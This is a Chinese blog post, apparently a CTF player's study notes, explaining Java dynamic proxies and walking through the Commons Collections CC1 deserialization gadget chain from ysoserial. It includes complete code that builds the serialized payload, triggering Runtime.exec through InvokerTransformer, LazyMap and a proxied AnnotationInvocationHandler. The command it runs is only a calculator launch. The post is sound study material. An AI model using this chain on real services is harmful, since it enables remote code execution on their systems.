文章目录
- 写在前面
- 动态代理
- 简单介绍
- 动态代理的实现
- JavaCC链1分析
- 参考文章
写在前面
这几天算是好好一边审计PHP的一些CMS一边啃Java的代码,终于能看懂CC链1的构造流程了
动态代理
简单介绍
在JavaCC链1的构造中,动态代理起了很关键的作用,这里来进行简单介绍,Java标准库提供了动态代理的机制,其可以在运行期动态创建interface
的实例,直接从demo来理解
首先我们来个通常写代码的方式
我们先来一个一个接口,本CTF狗来个Flag吧
interface flag {
void getFlag();
}
接下来实现这个接口
class giveFlag implements flag {
public void getFlag() {
System.out.println("Give you flag:flag{y4tacker}");
}
}
来测试一波,完整组合
import java.lang.String;
public class demo1 {
public static void main(String[] args) throws Exception {
GiveFlag giveFlag = new GiveFlag();
giveFlag.getFlag();
}
}
interface flag {
void getFlag();
}
class GiveFlag implements flag {
public void getFlag() {
System.out.println("Give you flag:flag{y4tacker}");
}
}
动态代理的实现
我们通过动态代理来做一个劫持玩玩,不玩最简单的
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.String;
import java.lang.reflect.Proxy;
public class demo1 {
public static void main(String[] args) throws Exception {
InvocationHandler handler = new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if (method.getName().equals("getFlag")) {
System.out.println("就这?");
}
return null;
}
};
flag getFlag = (flag) Proxy.newProxyInstance(
GiveFlag.class.getClassLoader(),
new Class[] { flag.class },
handler);
getFlag.getFlag();
}
}
interface flag {
void getFlag();
}
class GiveFlag implements flag {
public void getFlag() {
System.out.println("Give you flag:flag{y4tacker}");
}
}
最后输出了就这?
JavaCC链1分析
这个链子的流程是(来自ysoserial)
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/
首先给出这个链子的实现,来自P神大师傅!!!
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new String[]{"open /Applications/Calculator.app"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
首先触发点和之前很像,我们知道是通过对decorate修饰后的在添加新的元素的时候,可以执行一个回调;
Lazymap在其get方法当中执行factory.transform
,在get找不到值的时候,会调用factory.transform
去获取一个值
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
为了能调用这个方法,我们走AnnotationInvocationHandler中的invoke方法,在default分支
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
能看到上面Object var6 = this.memberValues.get(var4);
,因此要劫持内部调用就需要使用java.reflect.proxy
,上面已经说过了,如果我们把AnnotationInvocationHandler
做代理,那么在readObject
时,只要调用任意方法,就会进入AnnotationInvocationHandler
的invoke
方法,之后触发lazymap
的get
方法,而这个AnnotationInvocationHandler
实现了InvocationHandler
,因此我们就更可以放心大胆的飞了!!
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);
在这以后对象里面的memberValues
就成功变成了我们的LazyMap
,
之前上一篇文章也说过,我们将transformers传入ChainedTransformer就实现了参数的传递(ChainedTransformer是实现了Transformer接⼝的⼀个类,它的作⽤是前⼀个回调返回的结果,作为后⼀个回调的参数传⼊
),之后用LazyMap
的decorate包装,在触发lazymap的get方法后执行整个“回调”过程,整个链子的思路就很清晰啦!
然而我们最终的proxyMap也并不能直接对其序列化,毕竟他也没有readobject不能操作了,因此我再用sun.reflect.annotation.AnnotationInvocationHandler
对其进行包装一波,完美实现!!!庆祝